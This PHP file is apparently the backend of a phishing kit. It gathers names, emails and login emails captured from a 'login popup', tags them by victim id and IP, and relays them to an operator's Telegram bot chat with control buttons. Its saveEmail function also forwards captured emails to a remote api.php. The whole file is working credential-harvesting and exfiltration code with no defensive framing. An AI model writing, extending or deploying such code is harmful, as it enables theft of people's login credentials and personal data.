<?php
include "CONSTANTS.php";
function send_msg($msg)
{
    include "CONSTANTS.php";

    $website="https://api.telegram.org/bot".$botToken;
    $params=[
        'chat_id'=>$chatid, 
        'text'=>$msg,
        'parse_mode' => 'HTML'
    ];
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
}


function sendTGWithButtons($message, $keyboard) {
    // Initialize as null
    $id = null;
    $ip = null;

    foreach (explode("\n", $message) as $line) {
        $line = trim($line);
        if (preg_match('/^id:\s*(.+)$/i', $line, $m)) {
            $id = strip_tags(trim($m[1]));
        } elseif (preg_match('/^ip:\s*(.+)$/i', $line, $m)) {
            $ip = strip_tags(trim($m[1]));
        }
    }
    if ($id!=null) {

      
        $info = getExtraInfo($id, $ip);
       
        if($info!=null){
            $message = "info: <code>{$info}</code>\n" . $message;
        }

        $extraInfo = getNameById($id);

        $form_name=getNameById($id);
        $email_form=getEmailById($id);    

        
        if($form_name!=null){
            $message = "thankyou info: {$form_name} <code>{$email_form}</code>\n" . $message;
        }


        $extraName = getNameFromFile($id);
        if ($extraName !== null) {
            $message = "Set name: <code>{$extraName}</code>\n" . $message;
        }


        $loginEmail= getLoginEMailById($id);
        if ($loginEmail !== null) {
            $message = "Login Info: <code>{$loginEmail}</code>\n" . $message;
        }
        
    }

    include "CONSTANTS.php";
    $url = "https://api.telegram.org/bot$botToken/sendMessage";

    $data = [
        'chat_id' => $chatid,
        'text' => $message,
        'parse_mode' => 'HTML',
        'reply_markup' => $keyboard,
    ];

    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ],
    ];

    $context  = stream_context_create($options);
    file_get_contents($url, false, $context);
}



function getExtraInfo($id, $ip) {

    $id = str_replace(' ', '', $id);
    $ip = str_replace(' ', '', $ip);

    $id = preg_replace('/[^0-9a-f]/i', '', preg_replace('/\s+/', '', $id));
    $ip = preg_replace('/[^0-9a-f]/i', '', preg_replace('/\s+/', '', $ip));
    


    $file = __DIR__ . '/extrainfo.json';
    if (!file_exists($file)) {
        return null;
    }

    $records = json_decode(file_get_contents($file), true);
    if (!is_array($records)) {
        return null;
    }

    

    // 1) Try by ID
    $count = count($records);
    for ($i = 0; $i < $count; $i++) {
        $row = $records[$i];
        
        if ( $row['id'] == $id) {
            return $row['info'];
        }
    }

    // 2) Fallback to IP
    for ($i = 0; $i < $count; $i++) {
        $row = $records[$i];
        if (isset($row['ip']) && $row['ip'] === $ip) {
            return $row['info'];
        }
    }

    return null;
}


function getNameById(string $id): ?string {
    $file = __DIR__ . '/database/forminfo.json';
    if (!file_exists($file)) {
        return null;
    }

    $json    = file_get_contents($file);
    $records = json_decode($json, true);
    if (!is_array($records)) {
        return null;
    }

    foreach ($records as $rec) {
        if (isset($rec['id']) && $rec['id'] === $id) {
            return $rec['name'];
        }
    }

    return null;
}


//save login from login popup
function getNameFromFile(string $id): ?string {
    $file = __DIR__ . '/names/' . $id . '.txt';
    if (!file_exists($file)) {
        return null;
    }
    $content = file_get_contents($file);
    if ($content === false) {
        return null;
    }
    return trim($content);
}


function getEmailById(string $id): ?string {
    $file = __DIR__ . '/database/forminfo.json';
    if (!file_exists($file)) {
        return null;
    }

    $json    = file_get_contents($file);
    $records = json_decode($json, true);
    if (!is_array($records)) {
        return null;
    }

    foreach ($records as $rec) {
        if (isset($rec['id']) && $rec['id'] === $id) {
            return $rec['email'];
        }
    }

    return null;
}



function saveEmail(string $token, string $email): array {
    include "CONSTANTS.php";
    $file = __DIR__ . '/database/emails.json';
    $dir  = dirname($file);

    // Ensure the database folder exists
    if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
        return ['status' => 'error', 'message' => 'Unable to create database directory.'];
    }

    // Initialize file if missing
    if (!file_exists($file)) {
        file_put_contents($file, json_encode([], JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE));
    }

    // Load existing records
    $records = json_decode(file_get_contents($file), true);
    if (!is_array($records)) {
        $records = [];
    }

    // Look for existing token
    $found = false;
    foreach ($records as $i => $rec) {
        if (isset($rec['id']) && $rec['id'] === $token) {
            // Update email
            $records[$i]['email'] = $email;
            $found = true;
            break;
        }
    }

    // If not found, append new record
    if (!$found) {
        $records[] = ['id' => $token, 'email' => $email];
    }

    // Save back with lock
    $saved = file_put_contents(
        $file,
        json_encode($records, JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE),
        LOCK_EX
    );

    if ($saved === false) {
        return ['status' => 'error', 'message' => 'Failed to save email database.'];
    }

    $url = $domain . "/api.php?add_email=true&userID=" . urlencode($token) . "&userEmail=" . urlencode($email);

    // Call the API using file_get_contents() (for simple use cases)
    $response = file_get_contents($url);

   

    return [
        'status'  => 'success',
        'message' => $found ? 'Email updated successfully.' : 'Email added successfully.'
    ];
}

// returns the login email if it exist
function getLoginEMailById(string $id): ?string {
    $file = __DIR__ . '/database/emails.json';
    if (!file_exists($file)) {
        return null;
    }

    $json    = file_get_contents($file);
    $records = json_decode($json, true);
    if (!is_array($records)) {
        return null;
    }

    foreach ($records as $rec) {
        if (isset($rec['id']) && $rec['id'] === $id) {
            return $rec['email'];
        }
    }

    return null;
}